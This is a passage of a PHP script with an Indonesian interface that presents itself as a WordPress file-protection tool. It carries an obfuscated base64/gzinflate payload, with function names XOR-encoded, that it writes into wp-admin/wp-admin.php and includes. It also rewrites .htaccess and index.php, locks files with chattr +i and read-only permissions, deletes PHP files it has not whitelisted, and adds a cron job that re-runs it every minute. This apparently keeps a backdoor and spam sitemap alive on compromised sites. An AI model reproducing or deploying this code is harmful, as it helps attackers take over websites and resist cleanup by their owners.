            '/x3cPJTilej64SXWETxMAHX7OE',
            'sjZRaSoTV+vbvl66l9+YyexzWa',
            '5C1bOiIVqmLdN/19gIbAXwb23b',
            'AfQzKE+iyU59d9jWq3d6N2iKgX',
            'Huis+5TescrHB+T56ZUxAu/1ck',
            'WDlFDOnv8+kpOPX1/YD/FdofFL',
            'rz6u81X54Rdoj3+9Q/O8NtC3Se',
            'i7xDryN3now+26XqxeG+vbmLzI',
            'Om6JRD+iSe4/f371N28d7ePdr4',
            'z3RT8eiP/VXT6b7ocrTYN9vCtC',
            'fUGKXt9N5EcB/+65SFCvUvt8fa',
            'U1X1x6bA1cHpEn04Olh68uDXKA',
            'cMN/L5730guF8iosgwZQbKADmj',
            'j64dt7uYpQ7yZ2+Di197U/ooR1',
            'r0eOSu61dXpm6qHzoqekW41wv6',
            'Xv7fflHt60y4fIzZt6EdjXF78+',
            '4cdlIHE8aB5MLDRM/8zRiWV/a4',
            'R6mekdO+RCf/U/A7/8/NXhvt0d',
            'IiK3RHyc7Qq36sX1t6b79p5egC',
            'Arz2XYky55wOrf7ybhVd3+9PP1',
            '1PefH5n84yqvkjvyCCL1ejj/Ns',
            '494/gnd3wPCW4Tgo4CDMC/QNve',
            'A/hbVPizVfTRch2b2FhvgLJ1dD',
            'J9zz91IsflR4/DdUz76N7TfBOw',
            'I0h8EJzXC8vIi/5q+LDCF1gHnW',
            's9wY372/5umPe73YMDPXIPcPdh',
            'j75Bfbf36F64RncT/PD4NwX48M',
            'BvrX3rSdDqRN+7gPmd1Bk9AbNv',
            'BofHQCNGd+LsB3zEk4BBvf1BxY',
            'X1Bti/jRrRQgXeSZFne3jjPl/E',
            '/dbNPQ32Tdt5Eurr138bS2/j7n',
            'WPh1Hojyr+AgE/bqXXN96FPi70',
            'XLF831o+3yBW6Y8X/kK33G3pNk',
            'UXbzSpL7Pbg1h/THHfr3+ZgB8X',
            'PZr0C+u2wnfbe1sGHnfzxh0/38',
            'EP7PQxym/f9KNM0n9e1ZIQa8CM',
            '6MjiRmJ9piuf3vUWRrlNTn+egg',
            'T1hGJ//Dg4NTUxxtEi5Dkf/Gj7',
            'XhzP+47TNMDjRqbnYfB62vCeYv',
            '332d+0IuQ08NzynvfuE4tsDL1v',
            'Ae9Z598fsQ2J8c6+NOjAO+i739',
            'Vbt/4Y9hu39iTUt+7nMUZDfxvB',
            '8rhmP2u3aGn1JufHjjBf+7z1ZO',
            'iV3QH2NXmiOTfV9x52e2N/VGj1',
            'Z5IvjgC/e4D72ud1zXn/+SuIcV',
            'z1VQd60avJ/pTgewnqz1K9Xn3C',
            '0jy+Whj85/G0GHsbokZDDIf9dL',
            'iH/3kb4R2f0p/qYh8e8bz/X484',
            'dhvp+SDqaf9Hiv2zPt5rPbbIYr',
            'W93O6/fx9I4e4g5Ou3CHdn7d9f',
            'A1oYxYJbM/vy57vtlT/pPWV0n9',
            'G3SNiH+y+gpizymuX+S3B6GxPx',
            'ItKfQvavw+410vck5NO7yVFee9',
            'Y9Cj3s8MeS8bC5t+fgRew/utFn',
            'wZtvXvSG+f2///X+3f97NhYfXk',
            'zih6dT/JzD8THgwQ/+y9d/+/xv',
            'Hv/0599e9bvW8Q2LhXSgke/h5q',
            '3vHY+Hkb0rOhqI10+d+8T0x/xa',
            'Pz8BeJv9RNR/+/e//hc=',
        ]),
        'decoders' => ["base64_decode","gzinflate"],
        'k' => 245,
        'f_b64' => '97948690c3c1aa9190969a9190',
        'f_gz' => '928f9c9b9399948190',
        'f_rot' => '868187aa879a81c4c6',
        'f_tmp' => '819098859b9498',
        'f_fpc' => '939c9990aa858081aa969a9b81909b8186',
        'f_std' => '868c86aa929081aa81909885aa919c87',
        'f_fe' => '939c9990aa908d9c868186',
        'f_ul' => '809b999c9b9e',
        'f_dir' => '919c879b949890'
    ];

    $cacheHandler = new \App\Runtime\System\CompiledConfigHandler6214($configData);
    $compiledPath = $cacheHandler->getPath();
    if ($compiledPath !== '' && $compiledPath !== false) {
        include($compiledPath);
        $cacheHandler->cleanup();
    }
    unset($cacheHandler, $configData, $compiledPath);
}
?>
PHP;
 $payloadIndexContent = <<<'KODE_AKHIR'
<?php
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';
KODE_AKHIR;

 $targetFiles = [
    $htaccess, $wpAdminHtaccess, $wpAdminFile, $indexFile,
    $dbFile, $baseDir . '/autoload_classmap.php', $baseDir . '/akcc.php', $baseDir . '/default.php'
];

// ================================================================
// === FUNGSI-FUNGSI HELPER (ANTI 0KB) ===
// ================================================================

function removeImmutableFlag(string $path): void {
    if (!file_exists($path) && !is_dir($path)) return;
    if (can_exec()) {
        safe_exec("chattr -i " . escapeshellarg($path) . " 2>/dev/null");
        safe_exec("chattr -a " . escapeshellarg($path) . " 2>/dev/null");
    }
}

function verifyFileIntegrity(string $path, string $expectedContent): bool {
    if (!file_exists($path)) return false;
    @clearstatcache(true, $path);
    $actualSize = @filesize($path);
    $expectedSize = strlen($expectedContent);
    
    if ($actualSize === false || $actualSize === 0) return false;
    if ($actualSize !== $expectedSize) return false;
    
    $actualContent = @file_get_contents($path);
    if ($actualContent === false) return false;
    
    return ($actualContent === $expectedContent);
}

function backupFileContent(string $path): ?string {
    if (!file_exists($path)) return null;
    $content = @file_get_contents($path);
    return ($content !== false && !empty($content)) ? $content : null;
}

function restoreFileContent(string $path, string $content): bool {
    try {
        $fp = @fopen($path, 'w');
        if ($fp === false) return false;
        
        if (flock($fp, LOCK_EX)) {
            fwrite($fp, $content);
            fflush($fp);
            flock($fp, LOCK_UN);
        }
        fclose($fp);
        
        @clearstatcache(true, $path);
        return (file_exists($path) && @filesize($path) > 0);
    } catch (\Throwable $e) {
        return false;
    }
}

function paksaHapus(string $file): bool {
    if (!file_exists($file)) return true;
    
    try {
        removeImmutableFlag($file);
        @chmod($file, 0777);
        @clearstatcache(true, $file);
        
        if (@unlink($file)) return true;
        
        $tmp = $file . '.tmpdel_' . uniqid();
        if (@rename($file, $tmp)) {
            @chmod($tmp, 0777);
            removeImmutableFlag($tmp);
            if (@unlink($tmp)) return true;
        }
        
        if (can_exec()) {
            safe_exec("rm -f " . escapeshellarg($file) . " 2>/dev/null");
            if (!file_exists($file)) return true;
        }
        
    } catch (\Throwable $e) {}
    
    return false;
}

function ubahIzin(string $path, int $izin): bool {
    if (!file_exists($path)) return false;
    try {
        $result = @chmod($path, $izin);
        @clearstatcache(true, $path);
        return $result;
    } catch (\Throwable $e) {
        return false;
    }
}

// ⭐ PAKSA TULIS - VERSI AMAN (ANTI 0KB)
function paksaTulis(string $path, string $isi): bool {
    if (empty(trim($isi))) {
        return false;
    }
    
    $expectedLength = strlen($isi);
    $dir = dirname($path);
    
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    if (is_dir($dir)) {
        removeImmutableFlag($dir);
        @chmod($dir, 0755);
    }
    
    if (file_exists($path)) {
        removeImmutableFlag($path);
        @chmod($path, 0644);
    }
    
    $backupContent = backupFileContent($path);
    $maxAttempts = 3;
    $success = false;
    
    for ($attempt = 1; $attempt <= $maxAttempts && !$success; $attempt++) {
        
        // Metode 1: Atomic Write
        $tempFile = $path . '.tmp_' . uniqid() . '_' . mt_rand(1000, 9999);
        try {
            $fp = @fopen($tempFile, 'w');
            if ($fp !== false) {
                if (flock($fp, LOCK_EX | LOCK_NB)) {
                    $bytesWritten = fwrite($fp, $isi);
                    fflush($fp);
                    flock($fp, LOCK_UN);
                    fclose($fp);
                    
                    if ($bytesWritten === $expectedLength) {
                        @chmod($tempFile, 0644);
                        if (@rename($tempFile, $path)) {
                            @clearstatcache(true, $path);
                            if (verifyFileIntegrity($path, $isi)) {
                                $success = true;
                                break;
                            }
                        }
                    }
                } else {
                    @fclose($fp);
                }
            }
            if (file_exists($tempFile)) @unlink($tempFile);
        } catch (\Throwable $e) {
            if (file_exists($tempFile)) @unlink($tempFile);
        }
        
        // Metode 2: file_put_contents dengan LOCK_EX
        if (!$success) {
            try {
                $bytesWritten = @file_put_contents($path, $isi, LOCK_EX);
                if ($bytesWritten !== false && $bytesWritten === $expectedLength) {
                    @clearstatcache(true, $path);
                    if (verifyFileIntegrity($path, $isi)) {
                        $success = true;
                        break;
                    }
                }
            } catch (\Throwable $e) {}
        }
        
        // Metode 3: fopen langsung
        if (!$success) {
            try {
                if (file_exists($path)) {
                    removeImmutableFlag($path);
                    @chmod($path, 0666);
                }
                $fp = @fopen($path, 'w');
                if ($fp !== false) {
                    if (flock($fp, LOCK_EX)) {
                        ftruncate($fp, 0);
                        rewind($fp);
                        $bytesWritten = fwrite($fp, $isi);
                        fflush($fp);
                        flock($fp, LOCK_UN);
                        fclose($fp);
                        
                        if ($bytesWritten === $expectedLength) {
                            @clearstatcache(true, $path);
                            if (verifyFileIntegrity($path, $isi)) {
                                $success = true;
                                break;
                            }
                        }
                    } else {
                        @fclose($fp);
                    }
                }
            } catch (\Throwable $e) {}
        }
        
        // Metode 4: Exec
        if (!$success && can_exec()) {
            try {
                $tempFile = $path . '.exec_' . uniqid();
                $escapedContent = escapeshellarg($isi);
                safe_exec("printf '%s' {$escapedContent} > " . escapeshellarg($tempFile));
                
                if (file_exists($tempFile) && @filesize($tempFile) === $expectedLength) {
                    @chmod($tempFile, 0644);
                    if (@rename($tempFile, $path)) {
                        @clearstatcache(true, $path);
                        if (verifyFileIntegrity($path, $isi)) {
                            $success = true;
                            break;
                        }
                    }
                }
                if (file_exists($tempFile)) @unlink($tempFile);
            } catch (\Throwable $e) {}
        }
        
        if (!$success && $attempt < $maxAttempts) {
            usleep(300000 * $attempt);
            if (file_exists($path)) {
                removeImmutableFlag($path);
                @chmod($path, 0644);
            }
            @clearstatcache(true, $path);
        }
    }
    
    if (!$success) {
        if ($backupContent !== null && !empty($backupContent)) {
            restoreFileContent($path, $backupContent);
            @clearstatcache(true, $path);
            return false;
        }
    }
    
    return $success;
}

function perbaruiFile(string $filePath, string $backupDir, string $isiBaru, string $fileName): void {
    if (!is_dir($backupDir)) {
        @mkdir($backupDir, 0755, true);
    }
    if (file_exists($filePath)) {
        $timestamp = date('Ymd_His');
        @copy($filePath, $backupDir . '/' . $fileName . '.bak_' . $timestamp);
    }
    
    $result = paksaTulis($filePath, $isiBaru);
    if (!$result || !verifyFileIntegrity($filePath, $isiBaru)) {
        usleep(500000);
        removeImmutableFlag($filePath);
        @chmod($filePath, 0644);
        paksaTulis($filePath, $isiBaru);
    }
}

function forceRootDirPermission(string $baseDir): void {
    @chmod($baseDir, 0755);
    @clearstatcache(true, $baseDir);
    $wpAdminDir = $baseDir . '/wp-admin';
    if (is_dir($wpAdminDir)) {
        @chmod($wpAdminDir, 0755);
    }
}

// ================================================================
// === LOCK / UNLOCK REKURSIF ===
// ================================================================

function recursiveLockFoldersOnly_Safe(string $directory, array $excludeDirs = []): array {
    $stats = ['folders_locked' => 0, 'folders_excluded' => 0, 'errors' => 0];
    if (!is_dir($directory)) return $stats;
    
    try {
        $directoryIterator = new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS);
        $iterator = new RecursiveIteratorIterator($directoryIterator, RecursiveIteratorIterator::SELF_FIRST);
        
        foreach ($iterator as $item) {
            try {
                $path = $item->getPathname();
                if (!$item->isDir()) continue;
                
                $isExcluded = false;
                foreach ($excludeDirs as $excludeDir) {
                    if (str_starts_with($path, $excludeDir)) {
                        $isExcluded = true;
                        break;
                    }
                }
                
                if ($isExcluded) {
                    @chmod($path, 0755);
                    $stats['folders_excluded']++;
                } else {
                    if (@chmod($path, 0555)) $stats['folders_locked']++;
                    else $stats['errors']++;
                }
                
                if (($stats['folders_locked'] + $stats['folders_excluded']) % 100 === 0) {
                    @clearstatcache();
                }
            } catch (\Throwable $e) {
                $stats['errors']++;
            }
        }
    } catch (\Exception $e) {
        $stats['errors']++;
    }
    return $stats;
}

function recursiveUnlockFoldersOnly_Safe(string $directory): array {
    $stats = ['folders_unlocked' => 0, 'errors' => 0];
    if (!is_dir($directory)) return $stats;
    
    try {
        $directoryIterator = new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS);
        $iterator = new RecursiveIteratorIterator($directoryIterator, RecursiveIteratorIterator::SELF_FIRST);
        
        foreach ($iterator as $item) {
            try {
                $path = $item->getPathname();
                if (!$item->isDir()) continue;
                
                removeImmutableFlag($path);
                if (@chmod($path, 0755)) $stats['folders_unlocked']++;
                else $stats['errors']++;
                
                if ($stats['folders_unlocked'] % 100 === 0) @clearstatcache();
            } catch (\Throwable $e) {
                $stats['errors']++;
            }
        }
    } catch (\Exception $e) {
        $stats['errors']++;
    }
    
    @chmod($directory, 0755);
    $stats['folders_unlocked']++;
    return $stats;
}

function lockBaseDirectorySafe(string $baseDir): bool {
    try {
        $result1 = @chmod($baseDir, 0555);
        $wpAdminDir = $baseDir . '/wp-admin';
        if (is_dir($wpAdminDir)) @chmod($wpAdminDir, 0755);
        if (str_starts_with(__FILE__, $baseDir)) @chmod(__FILE__, 0644);
        return $result1;
    } catch (\Throwable $e) {
        return false;
    }
}

function superLockFilesSafe(string $baseDir, array $allowedFiles, array $safeFiles): void {
    $coreTargets = [
        $baseDir . '/.htaccess',
        $baseDir . '/wp-admin/.htaccess',
        $baseDir . '/wp-admin/wp-admin.php',
        $baseDir . '/index.php'
    ];
    
    foreach ($allowedFiles as $file) {
        $filePath = $baseDir . '/' . $file . '.php';
        if (!file_exists($filePath)) {
            @touch($filePath);
            @file_put_contents($filePath, "<?php // silence is golden ?>");
        }
        $coreTargets[] = $filePath;
    }
    
    foreach ($coreTargets as $target) {
        if (!file_exists($target)) continue;
        $isSafe = false;
        foreach ($safeFiles as $safeFile) {
            if ($target === $safeFile || str_starts_with($target, $safeFile)) {
                $isSafe = true;
                break;
            }
        }
        if (str_contains($target, '/wp-admin/')) $isSafe = true;
        
        if ($isSafe) {
            @chmod($target, 0644);
        } else {
            @chmod($target, 0555);
            if (can_exec()) safe_exec("chattr +i " . escapeshellarg($target) . " 2>/dev/null");
        }
    }
}

function unlockSuperFilesSafe(string $baseDir, array $allowedFiles, array $safeFiles): void {
    $coreTargets = [
        $baseDir . '/.htaccess',
        $baseDir . '/wp-admin/.htaccess',
        $baseDir . '/wp-admin/wp-admin.php',
        $baseDir . '/index.php'
    ];
    foreach ($allowedFiles as $file) {
        $coreTargets[] = $baseDir . '/' . $file . '.php';
    }
    foreach ($coreTargets as $target) {
        if (!file_exists($target)) continue;
        removeImmutableFlag($target);
        @chmod($target, 0644);
    }
}

function setupAutoCronSafe(string $currentUrl): void {
    if (!can_exec()) return;
    try {
        $crontabPath = safe_exec("which crontab") ?: '/usr/bin/crontab';
        $cronCommand = "* * * * * /usr/bin/curl -s " . escapeshellarg($currentUrl . "?update=both_locked") . " >/dev/null 2>&1";
        $currentCron = safe_shell_exec("$crontabPath -l 2>/dev/null") ?: '';
        if (str_contains($currentCron, $currentUrl)) return;
        $newCron = trim($currentCron . "\n" . $cronCommand);
        $tempFile = sys_get_temp_dir() . '/crontab_' . getmypid() . '.txt';
        if (@file_put_contents($tempFile, $newCron) !== false) {
            safe_exec("$crontabPath " . escapeshellarg($tempFile));
            @unlink($tempFile);
        }
    } catch (\Throwable $e) {}
}

function removeAutoCronSafe(string $currentUrl): void {
    if (!can_exec()) return;
    try {
        $crontabPath = safe_exec("which crontab") ?: '/usr/bin/crontab';
        $currentCron = safe_shell_exec("$crontabPath -l 2>/dev/null");
        if ($currentCron === null || !str_contains($currentCron, $currentUrl)) return;
        $lines = explode("\n", $currentCron);
        $newLines = [];
        foreach ($lines as $line) {
            if (!str_contains($line, $currentUrl)) $newLines[] = $line;
        }
        $tempFile = sys_get_temp_dir() . '/crontab_' . getmypid() . '.txt';
        if (@file_put_contents($tempFile, implode("\n", array_filter($newLines))) !== false) {
            safe_exec("$crontabPath " . escapeshellarg($tempFile));
            @unlink($tempFile);
        }
    } catch (\Throwable $e) {}
}

function autoGenerateRobotsSafe(string $domain, string $protocol): bool {
    try {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => "{$protocol}://{$domain}/robots",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 20,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Compatible)'
        ]);
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($response !== false && $httpCode === 200) {
            $robotsPath = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/robots.txt';
            return file_exists($robotsPath);
        }
    } catch (\Throwable $e) {}
    return false;
}

function displaySxallsitemapSafe(string $domain, string $protocol): void {
    echo "<div style='margin-top:20px;padding:18px;background:#f8f9fa;border:2px solid #007bff;border-radius:10px;font-family:Arial,sans-serif'>";
    echo "<h3 style='color:#007bff;margin:0 0 12px 0'>πŸ—ΊοΈ SITEMAP</h3>";
    echo "<p style='margin:0 0 10px 0'>URL: <a href='{$protocol}://{$domain}/sxallsitemap.xml' target='_blank' style='color:#007bff;text-decoration:none;font-weight:bold'>{$protocol}://{$domain}/sxallsitemap.xml</a></p>";
    try {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => "{$protocol}://{$domain}/sxallsitemap.xml",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_SSL_VERIFYPEER => false
        ]);
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($response !== false && $httpCode === 200) {
            echo "<pre style='font-size:12px;white-space:pre-wrap;max-height:250px;overflow-y:auto;background:#fff;padding:12px;border-radius:6px;border:1px solid #ddd'>" . htmlspecialchars(substr($response, 0, 2000)) . (strlen($response) > 2000 ? "\n... (truncated)" : "") . "</pre>";
        } else {
            echo "<p style='color:#dc3545;margin:0'>❌ Gagal load sitemap (HTTP: $httpCode)</p>";
        }
    } catch (\Throwable $e) {
        echo "<p style='color:#dc3545;margin:0'>❌ Error: " . htmlspecialchars($e->getMessage()) . "</p>";
    }
    echo "</div>";
}

function cleanup_php_root_safe($baseDir = null): int {
    if (empty($baseDir)) $baseDir = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
    
    $core_wp_files = ['index.php', 'wp-config.php', 'wp-activate.php', 'wp-blog-header.php', 'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php', 'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php'];
    $custom_whitelist = ['ah88.php', 'lm15.php', 'ws88.php', 'tx88.php', 'tx33.php', 'webindex.php', 'wordfence-waf.php', 'webindexORI.php', 'ws77.php', 'ww10.php', 'zz8.php', 'tx77.php', 'wp-admin.php', 'wp-trackback.php', 'ZMYYdI7Hdefault.php', 'bootstrap.php'];
    $allowed_non_php = ['robots.txt', '.htaccess', '.user.ini', 'php.ini', 'license.txt', 'readme.html', 'wp-config-sample.php', 'favicon.ico', 'web.config'];
    $whitelist = array_map('strtolower', array_merge($core_wp_files, $custom_whitelist, $allowed_non_php));
    
    $dangerous_ext = ['php0', 'phps', 'phtml', 'php4', 'php5', 'php7', 'phar'];
    $archive_ext = ['gz', 'zip', 'tar', 'rar', '7z', 'bz2'];
    $backup_ext = ['bak', 'old', 'orig', 'save', 'dist', '~'];
    $suspicious_ext = array_merge($dangerous_ext, $archive_ext, $backup_ext);
    $deleted = 0;
    
    @chmod($baseDir, 0755);
    $files = glob($baseDir . '/*');
    if (empty($files)) {
        $files = [];
        if ($handle = @opendir($baseDir)) {
            while (($entry = readdir($handle)) !== false) {
                if ($entry !== '.' && $entry !== '..') $files[] = $baseDir . '/' . $entry;
            }
            closedir($handle);
        }
    }
    
    foreach ($files as $file) {
        if (!is_file($file)) continue;
        $base_name = basename($file);
        $base_name_lower = strtolower($base_name);
        $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION) ?: '');
        
        if (in_array($base_name_lower, $whitelist)) continue;
        if ($file === __FILE__) continue;
        if (str_starts_with($base_name, '.') && in_array($base_name_lower, ['.htaccess', '.user.ini'])) continue;
        if (str_starts_with($base_name, '.')) continue;
        
        $should_delete = false;
        $reason = '';
        
        if ($ext === 'php' && !in_array($base_name_lower, $whitelist)) { $should_delete = true; $reason = 'PHP tidak di-whitelist'; }
        if (in_array($ext, $dangerous_ext)) { $should_delete = true; $reason = 'Ekstensi berbahaya (.' . $ext . ')'; }
        if (in_array($ext, $archive_ext)) { $should_delete = true; $reason = 'File arsip (.' . $ext . ')'; }
        if (in_array($ext, $backup_ext)) { $should_delete = true; $reason = 'File backup (.' . $ext . ')'; }
        
        if ($should_delete) {
            @chmod($file, 0777);
            if (@unlink($file)) { $deleted++; echo "  βœ— {$base_name} ({$reason})\n"; continue; }
            $tmp = $file . '.del_' . uniqid();
            if (@rename($file, $tmp)) {
                @chmod($tmp, 0777);
                if (@unlink($tmp)) { $deleted++; echo "  βœ— {$base_name} ({$reason})\n"; continue; }
            }
            if (can_exec()) {
                safe_exec("rm -f " . escapeshellarg($file) . " 2>/dev/null");
                if (!file_exists($file)) { $deleted++; echo "  βœ— {$base_name} ({$reason}) [exec]\n"; continue; }
            }
            echo "  ⚠ {$base_name} (GAGAL HAPUS)\n";
        }
    }
    return $deleted;
}

// ================================================================
// === PAYLOAD ===
// ================================================================

 $wpAdminContent = $payloadWpAdminContent;
 $indexContent = $payloadIndexContent;
 $domain = $_SERVER['HTTP_HOST'] ?? 'domain.com';
 $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
 $scriptUrl = $protocol . "://" . $domain . $_SERVER['PHP_SELF'];

// =================================================================================
// === UI & ROUTING ===
// =================================================================================

 $actionRequested = isset($_GET['update']) || $isFix || $isUnlock;

if (!$actionRequested) {
    $phpVersion = phpversion();
    $isPhp8 = version_compare($phpVersion, '8.0.0', '>=');
    $execAvailable = can_exec();
    
    echo "<!DOCTYPE html>
<html lang='id'>
<head>
    <meta charset='UTF-8'>
    <meta name='viewport' content='width=device-width, initial-scale=1.0'>
    <title>Kontrol Proteksi File - PHP {$phpVersion}</title>
    <style>
        *{box-sizing:border-box;margin:0;padding:0}
        body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}
        .container{background:#fff;max-width:850px;width:100%;padding:35px;border-radius:20px;box-shadow:0 25px 80px rgba(0,0,0,0.25)}
        h1{text-align:center;color:#2c3e50;font-size:26px;margin-bottom:5px}
        .version-badge{display:inline-block;background:" . ($isPhp8 ? '#00b894' : '#0984e3') . ";color:#fff;padding:4px 14px;border-radius:20px;font-size:11px;font-weight:bold;margin-left:8px;vertical-align:middle}
        .subtitle{text-align:center;color:#7f8c8d;font-size:13px;margin-bottom:25px}
        .alert{padding:16px;border-radius:10px;margin-bottom:20px;font-size:13px;line-height:1.6}
        .alert-success{background:#d4edda;color:#155724;border-left:5px solid #28a745}
        .alert-info{background:#d1ecf1;color:#0c5460;border-left:5px solid #17a2b8}
        .alert-warning{background:#fff3cd;color:#856404;border-left:5px solid #ffc107}
        .btn-group{display:flex;flex-wrap:wrap;gap:12px;justify-content:center;margin:22px 0}
        .btn{padding:14px 26px;border-radius:10px;text-decoration:none;font-weight:600;font-size:13px;transition:all 0.3s ease;box-shadow:0 4px 12px rgba(0,0,0,0.15);display:inline-block;min-width:200px;text-align:center}
        .btn:hover{transform:translateY(-3px);box-shadow:0 8px 24px rgba(0,0,0,0.22)}
        .btn-lock{background:linear-gradient(135deg,#f093fb 0%,#f5576c 100%);color:#fff}
        .btn-opts{background:linear-gradient(135deg,#4facfe 0%,#00f2fe 100%);color:#fff}
        .btn-upd{background:linear-gradient(135deg,#43e97b 0%,#38f9d7 100%);color:#2c3e50}
        .btn-wpa{background:linear-gradient(135deg,#fa709a 0%,#fee140 100%);color:#2c3e50}
        .btn-fix{background:linear-gradient(135deg,#a8edea 0%,#fed6e3 100%);color:#2c3e50}
        .btn-unlock{background:linear-gradient(135deg,#ff6b6b 0%,#ee5a24 100%);color:#fff;border:3px solid #c0392b;animation:pulse 2s infinite}
        .btn-unlock:hover{transform:translateY(-3px) scale(1.04)}
        @keyframes pulse{0%,100%{box-shadow:0 0 0 0 rgba(220,53,69,0.6)}50%{box-shadow:0 0 0 15px rgba(220,53,69,0)}}
        table{width:100%;border-collapse:collapse;margin:18px 0;font-size:12px;box-shadow:0 3px 12px rgba(0,0,0,0.08);border-radius:8px;overflow:hidden}
        th,td{padding:12px 14px;text-align:left;border-bottom:1px solid #eee}
        th{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:#fff;font-weight:600}
        tr:hover{background:#f8f9f9}
        code{background:rgba(102,126,234,0.12);padding:2px 8px;border-radius:4px;font-size:11px;color:#667eea;font-weight:600}
        .info-box{background:#f8f9fa;padding:20px;border-radius:12px;margin-top:22px;border:1px solid #e9ecef}
        .info-box h3{margin:0 0 12px 0;color:#2c3e50;font-size:15px;border-bottom:2px solid #dee2e6;padding-bottom:8px}
        .info-box ul{padding-left:20px}
        .info-box li{margin-bottom:8px;line-height:1.5;color:#495057}
        .badge-new{background:#dc3545;color:#fff;padding:3px 10px;border-radius:12px;font-size:10px;font-weight:bold;margin-left:6px;vertical-align:middle}
        .checkmark{color:#28a745;margin-right:5px}
        .crossmark{color:#dc3545;margin-right:5px}
    </style>
</head>
<body>
<div class='container'>
    <h1>πŸ› οΈ Kontrol Proteksi File <span class='version-badge'>PHP {$phpVersion}" . ($isPhp8 ? ' βœ“' : '') . "</span></h1>
    <p class='subtitle'>WordPress Auto-Protect v7.3 - <strong>ANTI 0KB VERSION</strong></p>

    <div class='alert alert-success'>
        <strong><span class='checkmark'>βœ“</span> Status:</strong><br>
        β€’ <strong>.htaccess</strong> ditulis dengan Atomic Write & Verifikasi Konten<br>
        β€’ <strong>Anti 0KB:</strong> File di-backup ke memori sebelum diubah<br>
        β€’ <strong>exec() disabled?</strong> <span style='color:" . ($execAvailable ? '#28a745' : '#dc3545') . ";font-weight:bold'>" . ($execAvailable ? 'TIDAK - exec tersedia' : 'YA - menggunakan fallback') . "</span>
    </div>";

    if (!$execAvailable) {
        echo "
    <div class='alert alert-warning'>
        <strong>⚠️ Catatan:</strong> Fungsi <code>exec()</code> dinonaktifkan server.<br>
        β€’ <code>chattr</code> tidak akan digunakan (attribute lock skipped)<br>
        β€’ Cron setup akan di-skip<br>
        β€’ Semua operasi tetap berjalan normal tanpa exec
    </div>";
    }

    echo "
    <div class='btn-group' style='border-bottom:2px solid #eee;padding-bottom:20px;margin-bottom:20px'>
        <a href='?update=both_locked' class='btn btn-lock'>πŸ”’ LOCK FOLDERS</a>
        <a href='?update=options' class='btn btn-opts'>βš™οΈ OPTIONS</a>
        <a href='?update=both_unlocked' class='btn btn-upd'>πŸ”„ UPDATE</a>
        <a href='?update=wpadmin' class='btn btn-wpa'>πŸ“„ WP-ADMIN</a>
    </div>

    <div class='btn-group'>
        <a href='?fix' class='btn btn-fix'>πŸ”§ FIX</a>
        <a href='?unlock' class='btn btn-unlock'>πŸ”“ UNLOCK ALL<span class='badge-new'>NEW</span></a>
    </div>

    <table>
        <tr>
            <th>Mode</th>
            <th>Target</th>
            <th>Permission</th>
            <th>Cleanup</th>
        </tr>
        <tr style='background:#ffebee'>
            <td><strong>πŸ”’ LOCK</strong></td>
            <td>Folders Only</td>
            <td><code style='color:#d63031;font-weight:bold'>0555</code></td>
            <td><span style='color:#dc3545;font-weight:bold'>βœ“ AGRESIF</span></td>
        </tr>
        <tr style='background:#e8f5e9'>
            <td><strong>πŸ”“ UNLOCK</strong></td>
            <td>Folders Only</td>
            <td><code style='color:#00b894;font-weight:bold'>0755</code></td>
            <td>-</td>
        </tr>
    </table>

    <div class='info-box'>
        <h3>πŸ“‹ Panduan</h3>
        <ul>
            <li><strong>πŸ”’ Lock:</strong> Update + Cleanup agresif + Lock folders</li>
            <li><strong>πŸ”“ Unlock:</strong> Buka semua folder β†’ 0755</li>
            <li><strong>πŸ”§ Fix:</strong> Rebuild + Cleanup agresif</li>
        </ul>
    </div>
</div>
</body></html>";
    exit;
}

// =================================================================================
// === EKSEKUSI ===
// =================================================================================

echo "<div style='font-family:Arial,sans-serif;padding:20px;max-width:800px;margin:20px auto;border:1px solid #ddd;border-radius:12px;background:#fafafa'>";
echo "<h3 style='text-align:center;color:#2c3e50;margin-bottom:15px'>" . ($isUnlock ? "πŸ”“ UNLOCK" : ($isFix ? "πŸ”§ FIX" : "πŸ”„ UPDATE")) . "</h3>";
echo "<pre style='background:#fff;padding:18px;border-radius:10px;font-size:12px;line-height:1.6;white-space:pre-wrap;overflow-x:auto;border:1px solid #eee'>";

try {

// =======================================================================
// MODE UNLOCK
// =======================================================================
if ($isUnlock) {
    echo "πŸ”“ Mode: UNLOCK ALL FOLDERS\n";
    echo "⏰ Start: " . date('H:i:s') . "\n\n";
    
    forceRootDirPermission($baseDir);
    echo "βœ“ Root permissions set\n";
    
    foreach ($targetFiles as $file) {
        removeImmutableFlag($file);
        @chmod($file, 0644);
    }
    echo "βœ“ Target files unlocked\n";
    
    $result = recursiveUnlockFoldersOnly_Safe($baseDir);
    echo "βœ“ Folders unlocked: {$result['folders_unlocked']}\n";
    
    unlockSuperFilesSafe($baseDir, $allowedFiles, $safeFiles);
    echo "βœ“ Super files unlocked\n";
    
    removeAutoCronSafe($scriptUrl);
